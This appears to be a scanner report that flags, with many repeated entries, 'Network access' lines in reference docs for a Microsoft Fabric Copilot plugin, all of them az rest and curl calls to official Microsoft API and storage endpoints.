    RESULT=$(fabric_lro POST    "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 908
    RESULT=$(fabric_lro POST    "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 908
    RESULT=$(fabric_lro POST    "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 908
    RESULT=$(fabric_lro POST    "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 909
    "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 909
    "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 909
    "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 909
    "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 909
    "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 909
    "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 909
    "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 909
    "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 920
    | Symptom | Cause | Fix | |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` |
  • Network accessline 920
    | Symptom | Cause | Fix | |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` |
  • Network accessline 920
    | Symptom | Cause | Fix | |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` |
  • Network accessline 920
    | Symptom | Cause | Fix | |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` |
  • Network accessline 920
    | Symptom | Cause | Fix | |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` |
  • Network accessline 920
    | Symptom | Cause | Fix | |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` |
  • Network accessline 920
    | Symptom | Cause | Fix | |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` |
  • Network accessline 920
    | Symptom | Cause | Fix | |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` |
  • Network accessline 921
    |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns
  • Network accessline 921
    |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns
  • Network accessline 921
    |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns
  • Network accessline 921
    |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns
  • Network accessline 921
    |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns
  • Network accessline 921
    |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns
  • Network accessline 921
    |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns
  • Network accessline 921
    |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns
  • Network accessline 922
    | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns `"AADSTS50001
  • Network accessline 922
    | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns `"AADSTS50001
  • Network accessline 922
    | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns `"AADSTS50001
  • Network accessline 922
    | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns `"AADSTS50001
  • Network accessline 922
    | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns `"AADSTS50001
  • Network accessline 922
    | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns `"AADSTS50001
  • Network accessline 922
    | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns `"AADSTS50001
  • Network accessline 922
    | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns `"AADSTS50001
  • Network accessline 923
    | `az account get-access-token` returns `"AADSTS500011: resource not found"` | Wrong resource URI string | Verify exact string from Environment Detection and API Configuration — no trailing slash variations | | `401 Unauthorized` on OneLake
  • Network accessline 923
    | `az account get-access-token` returns `"AADSTS500011: resource not found"` | Wrong resource URI string | Verify exact string from Environment Detection and API Configuration — no trailing slash variations | | `401 Unauthorized` on OneLake
  • Network accessline 923
    | `az account get-access-token` returns `"AADSTS500011: resource not found"` | Wrong resource URI string | Verify exact string from Environment Detection and API Configuration — no trailing slash variations | | `401 Unauthorized` on OneLake
  • Network accessline 923
    | `az account get-access-token` returns `"AADSTS500011: resource not found"` | Wrong resource URI string | Verify exact string from Environment Detection and API Configuration — no trailing slash variations | | `401 Unauthorized` on OneLake
  • Network accessline 923
    | `az account get-access-token` returns `"AADSTS500011: resource not found"` | Wrong resource URI string | Verify exact string from Environment Detection and API Configuration — no trailing slash variations | | `401 Unauthorized` on OneLake
  • Network accessline 923
    | `az account get-access-token` returns `"AADSTS500011: resource not found"` | Wrong resource URI string | Verify exact string from Environment Detection and API Configuration — no trailing slash variations | | `401 Unauthorized` on OneLake
  • Network accessline 923
    | `az account get-access-token` returns `"AADSTS500011: resource not found"` | Wrong resource URI string | Verify exact string from Environment Detection and API Configuration — no trailing slash variations | | `401 Unauthorized` on OneLake
  • Network accessline 923
    | `az account get-access-token` returns `"AADSTS500011: resource not found"` | Wrong resource URI string | Verify exact string from Environment Detection and API Configuration — no trailing slash variations | | `401 Unauthorized` on OneLake
  • Network accessline 924
    | `401 Unauthorized` on OneLake `curl` call | Using Fabric API token instead of Storage token | Use `--resource https://storage.azure.com` for OneLake |
  • Network accessline 924
    | `401 Unauthorized` on OneLake `curl` call | Using Fabric API token instead of Storage token | Use `--resource https://storage.azure.com` for OneLake |
  • Network accessline 924
    | `401 Unauthorized` on OneLake `curl` call | Using Fabric API token instead of Storage token | Use `--resource https://storage.azure.com` for OneLake |
  • Network accessline 924
    | `401 Unauthorized` on OneLake `curl` call | Using Fabric API token instead of Storage token | Use `--resource https://storage.azure.com` for OneLake |
  • Network accessline 924
    | `401 Unauthorized` on OneLake `curl` call | Using Fabric API token instead of Storage token | Use `--resource https://storage.azure.com` for OneLake |
  • Network accessline 924
    | `401 Unauthorized` on OneLake `curl` call | Using Fabric API token instead of Storage token | Use `--resource https://storage.azure.com` for OneLake |
  • Network accessline 924
    | `401 Unauthorized` on OneLake `curl` call | Using Fabric API token instead of Storage token | Use `--resource https://storage.azure.com` for OneLake |
  • Network accessline 924
    | `401 Unauthorized` on OneLake `curl` call | Using Fabric API token instead of Storage token | Use `--resource https://storage.azure.com` for OneLake |
  • Network accessline 952
    az rest \   --method {get|post|put|patch|delete} \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 952
    az rest \   --method {get|post|put|patch|delete} \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 952
    az rest \   --method {get|post|put|patch|delete} \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 952
    az rest \   --method {get|post|put|patch|delete} \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 952
    az rest \   --method {get|post|put|patch|delete} \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 952
    az rest \   --method {get|post|put|patch|delete} \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 952
    az rest \   --method {get|post|put|patch|delete} \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 952
    az rest \   --method {get|post|put|patch|delete} \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 953
    --method {get|post|put|patch|delete} \   --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/{path}" \
  • Network accessline 953
    --method {get|post|put|patch|delete} \   --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/{path}" \
  • Network accessline 953
    --method {get|post|put|patch|delete} \   --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/{path}" \
  • Network accessline 953
    --method {get|post|put|patch|delete} \   --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/{path}" \
  • Network accessline 953
    --method {get|post|put|patch|delete} \   --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/{path}" \
  • Network accessline 953
    --method {get|post|put|patch|delete} \   --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/{path}" \
  • Network accessline 953
    --method {get|post|put|patch|delete} \   --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/{path}" \
  • Network accessline 953
    --method {get|post|put|patch|delete} \   --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/{path}" \
  • Network accessline 954
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 954
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 954
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 954
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 954
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 954
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 954
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 954
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 955
    --url "https://api.fabric.microsoft.com/v1/{path}" \
  • Network accessline 955
    --url "https://api.fabric.microsoft.com/v1/{path}" \
  • Network accessline 955
    --url "https://api.fabric.microsoft.com/v1/{path}" \
  • Network accessline 955
    --url "https://api.fabric.microsoft.com/v1/{path}" \
  • Network accessline 955
    --url "https://api.fabric.microsoft.com/v1/{path}" \
  • Network accessline 955
    --url "https://api.fabric.microsoft.com/v1/{path}" \
  • Network accessline 955
    --url "https://api.fabric.microsoft.com/v1/{path}" \
  • Network accessline 955
    --url "https://api.fabric.microsoft.com/v1/{path}" \
  • Network accessline 974
    | Access Target | Audience for `--resource` | Primary CLI Tool | |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` |
  • Network accessline 974
    | Access Target | Audience for `--resource` | Primary CLI Tool | |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` |
  • Network accessline 974
    | Access Target | Audience for `--resource` | Primary CLI Tool | |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` |
  • Network accessline 974
    | Access Target | Audience for `--resource` | Primary CLI Tool | |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` |
  • Network accessline 974
    | Access Target | Audience for `--resource` | Primary CLI Tool | |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` |
  • Network accessline 974
    | Access Target | Audience for `--resource` | Primary CLI Tool | |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` |
  • Network accessline 974
    | Access Target | Audience for `--resource` | Primary CLI Tool | |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` |
  • Network accessline 974
    | Access Target | Audience for `--resource` | Primary CLI Tool | |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` |
  • Network accessline 975
    |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` |
  • Network accessline 975
    |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` |
  • Network accessline 975
    |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` |
  • Network accessline 975
    |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` |
  • Network accessline 975
    |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` |
  • Network accessline 975
    |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` |
  • Network accessline 975
    |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` |
  • Network accessline 975
    |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` |
  • Network accessline 976
    | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` |
  • Network accessline 976
    | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` |
  • Network accessline 976
    | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` |
  • Network accessline 976
    | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` |
  • Network accessline 976
    | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` |
  • Network accessline 976
    | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` |
  • Network accessline 976
    | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` |
  • Network accessline 976
    | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` |
  • Network accessline 977
    | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` |
  • Network accessline 977
    | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` |
  • Network accessline 977
    | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` |
  • Network accessline 977
    | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` |
  • Network accessline 977
    | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` |
  • Network accessline 977
    | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` |
  • Network accessline 977
    | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` |
  • Network accessline 977
    | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` |
  • Network accessline 978
    | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` |
  • Network accessline 978
    | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` |
  • Network accessline 978
    | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` |
  • Network accessline 978
    | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` |
  • Network accessline 978
    | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` |
  • Network accessline 978
    | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` |
  • Network accessline 978
    | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` |
  • Network accessline 978
    | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` |
  • Network accessline 979
    | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools |
  • Network accessline 979
    | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools |
  • Network accessline 979
    | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools |
  • Network accessline 979
    | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools |
  • Network accessline 979
    | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools |
  • Network accessline 979
    | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools |
  • Network accessline 979
    | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools |
  • Network accessline 979
    | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools |
  • Network accessline 980
    | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` |
  • Network accessline 980
    | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` |
  • Network accessline 980
    | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` |
  • Network accessline 980
    | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` |
  • Network accessline 980
    | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` |
  • Network accessline 980
    | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` |
  • Network accessline 980
    | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` |
  • Network accessline 980
    | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` |
  • Network accessline 981
    | Azure Resource Manager | `https://management.azure.com` | `az rest` (native) |
  • Network accessline 981
    | Azure Resource Manager | `https://management.azure.com` | `az rest` (native) |
  • Network accessline 981
    | Azure Resource Manager | `https://management.azure.com` | `az rest` (native) |
  • Network accessline 981
    | Azure Resource Manager | `https://management.azure.com` | `az rest` (native) |
  • Network accessline 981
    | Azure Resource Manager | `https://management.azure.com` | `az rest` (native) |
  • Network accessline 981
    | Azure Resource Manager | `https://management.azure.com` | `az rest` (native) |
  • Network accessline 981
    | Azure Resource Manager | `https://management.azure.com` | `az rest` (native) |
  • Network accessline 981
    | Azure Resource Manager | `https://management.azure.com` | `az rest` (native) |

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/COMMON-CORE.md

  • Network accessline 33
    | Service | URL | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` |
  • Network accessline 33
    | Service | URL | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` |
  • Network accessline 33
    | Service | URL | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` |
  • Network accessline 33
    | Service | URL | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` |
  • Network accessline 33
    | Service | URL | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` |
  • Network accessline 33
    | Service | URL | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` |
  • Network accessline 33
    | Service | URL | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` |
  • Network accessline 33
    | Service | URL | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` |
  • Network accessline 34
    |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` |
  • Network accessline 34
    |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` |
  • Network accessline 34
    |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` |
  • Network accessline 34
    |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` |
  • Network accessline 34
    |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` |
  • Network accessline 34
    |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` |
  • Network accessline 34
    |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` |
  • Network accessline 34
    |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` |
  • Network accessline 35
    | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` |
  • Network accessline 35
    | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` |
  • Network accessline 35
    | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` |
  • Network accessline 35
    | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` |
  • Network accessline 35
    | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` |
  • Network accessline 35
    | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` |
  • Network accessline 35
    | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` |
  • Network accessline 35
    | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` |
  • Network accessline 36
    | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` |
  • Network accessline 36
    | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` |
  • Network accessline 36
    | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` |
  • Network accessline 36
    | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` |
  • Network accessline 36
    | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` |
  • Network accessline 36
    | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` |
  • Network accessline 36
    | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` |
  • Network accessline 36
    | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` |
  • Network accessline 37
    | **OneLake DFS (regional)** | `https://<region>-onelake.dfs.fabric.microsoft.com` | | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` |
  • Network accessline 37
    | **OneLake DFS (regional)** | `https://<region>-onelake.dfs.fabric.microsoft.com` | | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` |
  • Network accessline 37
    | **OneLake DFS (regional)** | `https://<region>-onelake.dfs.fabric.microsoft.com` | | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` |
  • Network accessline 37
    | **OneLake DFS (regional)** | `https://<region>-onelake.dfs.fabric.microsoft.com` | | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` |
  • Network accessline 37
    | **OneLake DFS (regional)** | `https://<region>-onelake.dfs.fabric.microsoft.com` | | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` |
  • Network accessline 37
    | **OneLake DFS (regional)** | `https://<region>-onelake.dfs.fabric.microsoft.com` | | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` |
  • Network accessline 37
    | **OneLake DFS (regional)** | `https://<region>-onelake.dfs.fabric.microsoft.com` | | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` |
  • Network accessline 37
    | **OneLake DFS (regional)** | `https://<region>-onelake.dfs.fabric.microsoft.com` | | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` |
  • Network accessline 38
    | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` |
  • Network accessline 38
    | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` |
  • Network accessline 38
    | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` |
  • Network accessline 38
    | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` |
  • Network accessline 38
    | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` |
  • Network accessline 38
    | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` |
  • Network accessline 38
    | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` |
  • Network accessline 38
    | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` |
  • Network accessline 39
    | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` |
  • Network accessline 39
    | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` |
  • Network accessline 39
    | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` |
  • Network accessline 39
    | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` |
  • Network accessline 39
    | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` |
  • Network accessline 39
    | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` |
  • Network accessline 39
    | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` |
  • Network accessline 39
    | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` |
  • Network accessline 43
